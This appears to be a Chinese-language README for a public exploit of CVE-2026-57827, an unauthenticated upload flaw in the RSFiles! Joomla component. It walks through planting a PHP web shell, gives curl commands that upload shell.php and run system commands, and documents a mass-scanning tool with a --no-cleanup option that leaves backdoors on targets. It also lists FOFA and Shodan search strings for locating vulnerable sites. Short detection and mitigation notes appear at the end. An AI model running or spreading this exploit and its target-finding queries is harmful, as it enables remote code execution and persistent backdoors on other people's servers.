CVE-2026-57827

// 任务 1 — 预检检查 (task=rsfiles.checkupload) — 已防护
// 包含权限门禁（该用户能否上传？）和扩展名
// 白名单（默认包括图片、文本、PDF）。该方法决定是
// 否允许。它不写入任何内容。
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// 任务 2 — 写入方法 (task=rsfiles.upload) — 未防护（漏洞所在）
// 接收文件并保存到磁盘。不检查权限。
// 不检查文件类型。直接从请求中读取文件名
// 并将上传交给 Joomla 的 JFile::upload()，
// 默认情况下该方法接受任何文件类型。
function upload() {
    $file = $input->files->get('file');
    // 无权限检查
    // 无扩展名检查
    // JFile::upload() 默认接受任何内容
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // 文件保存到 /downloads/（Web 根目录，.htaccess 默认关闭）
}

1. 攻击者构造 PHP 网页后门（纯 PHP，无需 polyglot）
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart，PHP 载荷)
   folder=&overwrite=1
3. Joomla 前端控制器分发到 rsfiles.upload()
   → 完全跳过 rsfiles.checkupload（预检）
   → 无权限检查 → 无 CSRF 令牌检查 → 无文件类型检查
   → JFile::upload() 接受任何文件类型
4. 文件保存到 /downloads/{shell_name}.php（Web 根目录）
   .htaccess 防护为可选开启，默认关闭
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP 执行 → 以 www-data 身份实现 RCE

查找对以下地址的 POST 请求：
  index.php?option=com_rsfiles&task=rsfiles.upload
这些请求之前未出现对以下地址的请求：
  index.php?option=com_rsfiles&task=rsfiles.checkupload

git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

# 单个目标
python cve_2026_57827.py -t target.com

# 批量扫描
python cve_2026_57827.py -f targets.txt -o shells.txt

# 调试模式，保留目标上的后门
python cve_2026_57827.py -t target.com --debug --no-cleanup

  -t, --target       单个目标（域名或 IP）
  -f, --file         目标列表，每行一个
  -o, --output       将 RCE URL 保存到文件
  --threads          并发线程数（默认：30）
  --no-cleanup       在目标上保留后门
  --debug            显示每个 HTTP 请求
  -v, --verbose      详细输出

$ python cve_2026_57827.py -t joomla-site.com

  RSFiles! Joomla 组件 | CVE-2026-57827 | CVSS 9.8

  主机       : joomla-site.com
  RSFiles!   : 是 v1.17.11
  上传       : 是
  RCE        : 是
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  输出       : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  用时       : 3.8s

curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

curl 'https://target.com/downloads/shell.php?c=id'

curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

# 删除存在漏洞的控制器文件（会使 RSFiles! 不可用，但安全）
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# 或启用 .htaccess 防护：
# RSFiles 管理后台 → Settings → Files → 勾选 "Secure download folder" + "Secure briefcase folder"

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"